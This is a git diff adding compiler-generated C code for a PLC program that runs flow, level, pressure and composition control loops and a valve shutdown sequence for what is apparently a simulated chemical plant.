__INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + 